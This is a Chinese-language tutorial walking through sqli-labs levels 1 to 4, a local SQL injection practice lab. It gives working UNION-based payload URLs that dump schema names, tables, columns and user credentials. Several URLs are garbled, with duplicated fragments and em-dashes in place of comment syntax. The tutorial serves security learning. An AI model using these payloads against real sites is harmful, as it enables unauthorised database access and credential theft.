Less-1演示
首先我们先进入第一关:http://localhost:8080/sqli-labs/Less-1/?id=1
不防先在 id=1 后面添加一个 ' ,来看一下效果:
显示错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
从上述错误当中,我们可以看到提交到sql中的 ‘1’在经过 sql 语句构造后形成 '1'' LIMIT 0,1,多加了一个 ' 。那么我们从错误信息中就得到我们所需要的信息,接下来我们就要考虑如何把多余的 ' 去掉。
尝试使用 'or 1=1 --+
此时构造的sql语句就变成了:select ******* where id='1' or 1=1 --+ limit 0,
可以看到正常的返回数据。
此处可以利用 order by 。order by 对前面的数据进行排序,我们先尝试一下有几列数据,不防先从2开始。
这里数据正常返回,所以最少有两列数据,接下来我们加1,将它变成3列试一下,
这里数据返回也是正常的,那就继续试一下4列,
这里我们看到了4列报错了,那么经过几次测试,我们知道它有3列数据。
最后分析一下为什么会造成注入?
sql语句为 $sql = SELECT * FROM users WHERE id='$id' LIMIT 0,1
参数id在拼接sql语句时,未对id进行任何过滤操作,所以当提交 'or 1=1 --+ ,直接构造的 sql 语句就是SELECT * FROM users WHERE id='1'or 1=1 -- ' LIMIT 0,1
这条语句因 or 1=1 而永为真。
union联合注入
union 的作用是将两个 sql 语句进行联合查询。Union 前后两个 sql 语句的选择列数要相同才可以。 Union all 与 union 的区别是增加了去重的功能。<br />这里我们可以使用union 来表示上面 Less-1 的注入:localhost:8080/sqli-labs/Less-1/?id=1' union select 1,2,3 --+<br /><br />这里数据返回正常,构造后的sql语句为:`SELECT * FROM users WHERE id='1' union select 1,2,3-- ' LIMIT 0,1`<br />那么当前一个 sql 语句的结果为空时,这里就会显示后面 sql 语句的执行结果,此时我们让 id=-1 ,来看一下结果:<br /><br />这里显示的是 union 查询的结果,即:`select 1,2,3 -- ' LIMIT 0,1` 的执行结果<br />我们可以知道,前台页面显示的数据是第二列和第三列的数据,由此我们可以爆数据库:<br />[http://localhost:8080/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20 --+](http://localhost:8080/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata%20--+)<br /><br />此时的 sql 语句为:`SELECT * FROM users WHERE id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- ' LIMIT 0,1`
在得到了数据库列表之后,我们可以对其中的数据库进行注入查询,这里选取 security 演示:
http://localhost:8080/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20—+,3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20—+)
此时的 sql 语句为:SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- ' LIMIT 0,1
这里获取到了 security 库里的所有表名,接下来爆 users 表的列:
http://localhost:8080/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20—+,3%20from%20information_schema.columns%20where%20table_name=%27users%27%20—+)
此时的 sql 语句为:SELECT * FROM users WHERE id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- ' LIMIT 0,1
这里获取到了 users 表的所有列名,接下来爆数据:
http://localhost:8080/sqli-labs/Less-1/?id=-1%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20—+,group_concat(password)%20from%20security.users%20—+)
这里我们将所有数据都爆出来了,sql 语句为:SELECT * FROM users WHERE id='-1' union select 1,group_concat(username),group_concat(password) from security.users -- ' LIMIT 0,1
可以在后面添加 where id=2 来查询指定行数据。
Less-2

将 ' 添加到数字中:
我们得到了以下错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
提示我们多了一个 ' ,当前查询 sql 语句为:SELECT * FROM users WHERE id=1' LIMIT 0,1
所以这里的奇数个单引号破坏了查询,导致结果出错。那么我们可以得出结论,查询代码使用了正数。SELECT * FROM users WHERE id=Integer LIMIT 0,1
我们可以尝试一下:
http://localhost:8080/sqli-labs/Less-2/?id=-1%20or%201=1%20—+
使用 or 1=1 成功注入。即 SELECT * FROM users WHERE id=-1 or 1=1 -- LIMIT 0,1
这里不需要再加 ' ,其余的 payload 与 less1 中的 ' 去掉即可。
Less-3
先添加 ' 进行尝试:
得到了一个错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
这里多了一个 ) ,它意味着,开发者使用的查询是:SELECT * FROM users WHERE id=('1') LIMIT 0,1
所以我们使用 ') --+ 来注入:
这个 sql 语句就是:SELECT * FROM users WHERE id=('1') -- ') LIMIT 0,1
只要将 less-1 中的 ' 后面添加 ) 即可
Less-4
我们添加 ' 进行测试:
显示正常,那么不妨使用 " 尝试一下:
http://localhost:8080/sqli-labs/Less-4/?id=1%22
出现了错误:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
可以看到 1 旁边奇数个 " 导致错误,它意味着,代码中对参数 id 使用了 "" 和 () 的包装。
所以我们可以使用 ?id=1") --+ 来进行注入:
http://localhost:8080/sqli-labs/Less-4/?id=1%22)%20—+%20—+)
ci
执行的 sql 的语句为:SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1
其余的 payload 与 less1 中一样,只需要将less1 中的 ' 更换为 ") 。
